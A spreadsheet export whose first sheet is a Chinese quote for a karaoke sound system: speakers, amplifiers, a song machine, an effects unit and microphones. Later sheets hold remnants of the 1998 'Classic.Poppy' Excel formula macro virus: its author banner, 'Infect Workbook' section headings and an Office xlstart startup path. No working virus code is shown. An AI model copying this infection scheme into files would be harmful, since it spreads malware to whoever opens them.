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["K歌"]
["序号","设备名称","品牌","型号","技术参数","单位","数量","单价","小计","类似图"]
[1,"12寸卡拉OK专用音箱\n（主扩）","YYAUDIO","YF510","单元组成:12\"×1，4\"×2，3\"×2\n频率响应(-3dB) :35Hz-18kHz\n灵敏度(1m/1W):93dB\n额定功率(RMS):250 W\n峰值功率(PEAK):1000 W\n额定阻抗:8Ω\n输入方式:线夹","对",1]
[2,"8寸卡拉OK专用音箱\n（补声）","YYAUDIO","YF-8","功率100W，阻抗 8Ω,灵敏度90dB,频响范围38～18kHz","对",1]
[3,"2*550W功放","YYAUDIO","UA550D","•采用优质环行变压器供电，优质大容量电解电容滤波，整机静态功耗低，动态能量充沛\n•电路采用经典脉冲宽度调制放大电路，效率高达90﹪，元器件均按照HIFI级标准选型，使声音表现更加完美\n•采用先进的自动增益控制（AGC）技术，保证音频信号始终为高保真放大，并能有效保护功放与扬声器免受削波失真伤害\n•拥有完善的保护电路：开机软启动，欠压，过压，过热，过载，过流，直流保护\n\n额定功率RMS：(8Ω)2×550W；\n额定功率RMS：(4Ω)：2×830W；\n桥接：(8Ω)1*1680W；\n频响：20Hz-20kHz, ±0.5dB；\n输入灵敏度:0.77V/1.4V/26dB；\n信噪比≥95dB，失真度（THD）≤0.03%；阻尼系数（f=1KHz 8Ω）＞240；转换速率：15V/uS；净重11.5Kg，机箱厚度2U；\n整机静态功耗低，动态能量充沛；具备开机软启动，欠压，过压，过热，过载，过流，直流保护等特性","台",1]
[4,"2*350W功放","YYAUDIO","UA350D","•采用优质环行变压器供电，优质大容量电解电容滤波，整机静态功耗低，动态能量充沛\n•电路采用经典脉冲宽度调制放大电路，效率高达90﹪，元器件均按照HIFI级标准选型，使声音表现更加完美\n•采用先进的自动增益控制（AGC）技术，保证音频信号始终为高保真放大，并能有效保护功放与扬声器免受削波失真伤害\n•拥有完善的保护电路：开机软启动，欠压，过压，过热，过载，过流，直流保护\n\n额定功率RMS：(8Ω)2×350W；\n额定功率RMS：(4Ω)：2×530W；\n桥接：(8Ω)1*1060W；\n频响：20Hz-20kHz, ±0.5dB；\n输入灵敏度:0.77V/1.4V/26dB；\n信噪比≥95dB，失真度（THD）≤0.03%；\n阻尼系数（f=1KHz 8Ω）＞240；\n转换速率：15V/uS；\n净重11.5Kg，\n机箱厚度2U；","台",1]
[5,"点歌机","星网视易","C60","2t硬盘；19.5寸触摸显示器\n1.支持4k，7.1声道，拥有极的音视频芯片，采\n用电容屏为您提供好的音画质效果体验\n2.支持触摸屏、手机、平板、薇信等多种播控方\n法，支持手机和触摸屏之间的实时投屏技术\n3.云端拥有20多万首正版曲库，曲库每周更新\n4.多唱魔镜3系统，娱乐互动体验:照片MV、大眼\n拍拍、炫屏秀秀为您提供私人专属N录制，双麦PK\n、游戏闯关为您提供K歌互动体验，歌神训练营教\n会您成为麦霸\n5.运行内存2G\n存储容里16G\n6.电源12V5A","台",1]
[6,"前级效果器","YYAUDIO","KA500S","音效：\n01. 话筒拥有出色的参数混响器，让演唱人声表现得浑厚，富有广阔的空间感\n02. 音乐拥有 7段参量均衡\n03. 话筒拥有 15段参量均衡，压限器，反馈抑制等级\n04. 主输出拥有5段参量均衡，比例缩放器，延时器\n05. 超低音拥有3段参量均衡，让声音表现更加有现场的强烈感\n话筒：\n01. 三组混合输入的话筒接口\n02. 带有一个模拟电平开关的噪声门\n03. 拥有出色的反馈抑制电路，防止啸叫\n输入：\n01. 两组双通道手动切换输入的莲花音频接口\n调节：\n01. 用过面板旋钮或按键\n02. 使用USB转Rs232接线联机调试\n03. 调试软件 Audio Effect Controler\n硬件特征：\n01. 采用ADI-SHARC 21375 DSP\n02. 采用 108dB 高信噪比 ADC & DAC\n03. 数模转换采样率为 48KHz\n04. 超低的音频输出噪声，和开机关机声道静音设计\n05. 6通道音频输出，2通道音乐输入，3通道话筒输入\n07. 支持RS232接口调试\n模拟音频元件：\n \n输出放大运算器 ：TI 5532DD\n话筒放大运算器 ：JRC 2068DD\n话筒放大运算器 ：TI 5532DD\n音频特征：\n01. 采用 48KHz/s 音频采集率\n02. 高信噪比及低输入输出噪声\n03. 开机及关机静音控制\n04. 出色的话筒音频混响器\n\n用户接口规格：\n     \n音频模拟输出接口 ：6 Channels (XLR female)\n耳机模拟输出接口 ：无\n数字音频输出接口 ：无\n  \n话筒模拟输入接口 ：3 Channels (6.35mm)\n音频模拟输入接口 ：2/4 Channels (RCA)\n数字音频输入接口 ：无\n  \n数字控制接口 ：RS232转USB\n无线控制接口 ：无\n  \n面板液晶显示屏幕 ：双行20字符英文 COB\n话筒输入信号指示 ：无\n话筒输出信号指示 ：无\n音乐输出信号指示 ：无\n按钮 ：12 个按键\n旋钮 ：3 个音量调整旋钮, 1 个调节旋钮\n  \n电源开关 ：1 个电源开关(背面)","台",1]
[7,"一拖二无线手持话筒","COEFMIC","VO8012C","立体式金属面板，高档、大气、最时尚的电子音量数字显示，左右声音一致性强，操作简便，红外线自动对频、具有导频功能。高保真声音传输电路，确保声音的清晰度和还原性，配专用咪芯，唱歌轻松。手持采用目前最先进的升压电路，有效延长了电池的使用时间在8-12小时，可根据客户要求做成人性化待机功能，手持静止不用8秒后自动静音，省电模式，10分钟后自动关机。（待机时间长短可按客户要求定制）。接收机：频率振荡方式：PLL锁相环回路，通道组数：双通道，功能显示方式：LCD/LED,射频范围： 600-980MHz 调制方式：Fm调频，可用带宽：每通道50MHz 信道数目:200-300通道， 频率稳定性： ±0.005%PLL锁相回路频率控制， 动态范围：＞110dB 峰值频偏：±45KHz 音频响应： 60Hz-18KHz(±3dB) 综合信噪比：＞105dB 综合失真： ＜0.5% 供电：100-240V AC50/60Hz 10W，发射机: 频率范围:600-980MHZ 频带宽度:50MHZ 谐波抑制:>55dBc 最大频偏:+_48KHZ 频率响应:50Hz-15KHz(-3dB) 信噪比:>105dB(A) 失真度:<1% 电池要求:AA型1.5Vx2碱性电池","套",1]
[8,"线材/辅材",null,null,"音响线200米，插接件，卡包音响吊架","批",1]
[9,"安装调试",null,null,"现场布线，安装，设备调试","项",1]
[10,"总计",{"$nulls":6},17620,"以上报价 不含税 不含运费"]

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["海安全频音响.xlsm"]
["Book1"]
["C:\\PROGRA~1\\MICROS~2\\OFFICE11\\xlstart\\Book1.",null,"**Auto and On Sheet Starts Here**"]
[{"$error":"#N/A"}]
[]
[]
["Classic.Poppy by VicodinES"]
["With Lord Natas"]
["An Excel Formula Macro Virus (XF.Classic)"]
["Hydrocodone/APAP 10-650 For Your Computer"]
["(C) The Narkotic Network 1998"]
[]
[]
["**Simple Payload**"]
[]
[]
[null,null,"**Set Our Values and Paths**"]
[]
[]
["**Add New Workbook, Infect It, Save It As Book1.xls**"]
[]
[]
[]
[]
[]
[null,null,"**Infect Workbook**"]

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["海安全频音响.xls"]
["Book1"]
["C:\\Program Files\\Microsoft Office\\OFFICE11\\xlstart\\Book1.",null,"**Auto and On Sheet Starts Here**"]
[3]
[]
[]
["Classic.Poppy by VicodinES"]
["With Lord Natas"]
["An Excel Formula Macro Virus (XF.Classic)"]
["Hydrocodone/APAP 10-650 For Your Computer"]
["(C) The Narkotic Network 1998"]
[]
[]
["**Simple Payload**"]
[]
[]
[null,null,"**Set Our Values and Paths**"]
[]
[]
["**Add New Workbook, Infect It, Save It As Book1.xls**"]
[]
[]
[]
[]
[]
[null,null,"**Infect Workbook**"]

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["海安全频音响.xls"]
["Book1"]
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[3]
[]
[]
["Classic.Poppy by VicodinES"]
["With Lord Natas"]
["An Excel Formula Macro Virus (XF.Classic)"]
["Hydrocodone/APAP 10-650 For Your Computer"]
["(C) The Narkotic Network 1998"]
[]
[]
["**Simple Payload**"]
[]
[]
[null,null,"**Set Our Values and Paths**"]
[]
[]
["**Add New Workbook, Infect It, Save It As Book1.xls**"]
[]
[]
[]
[]
[]
[null,null,"**Infect Workbook**"]

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["复件 海安全频音响.xls"]
["Book1"]
["C:\\Program Files\\Microsoft Office\\OFFICE11\\xlstart\\Book1.",null,"**Auto and On Sheet Starts Here**"]
[{"$error":"#N/A"}]
[]
[]
["Classic.Poppy by VicodinES"]
["With Lord Natas"]
["An Excel Formula Macro Virus (XF.Classic)"]
["Hydrocodone/APAP 10-650 For Your Computer"]
["(C) The Narkotic Network 1998"]
[]
[]
["**Simple Payload**"]
[]
[]
[null,null,"**Set Our Values and Paths**"]
[]
[]
["**Add New Workbook, Infect It, Save It As Book1.xls**"]
[]
[]
[]
[]
[]
[null,null,"**Infect Workbook**"]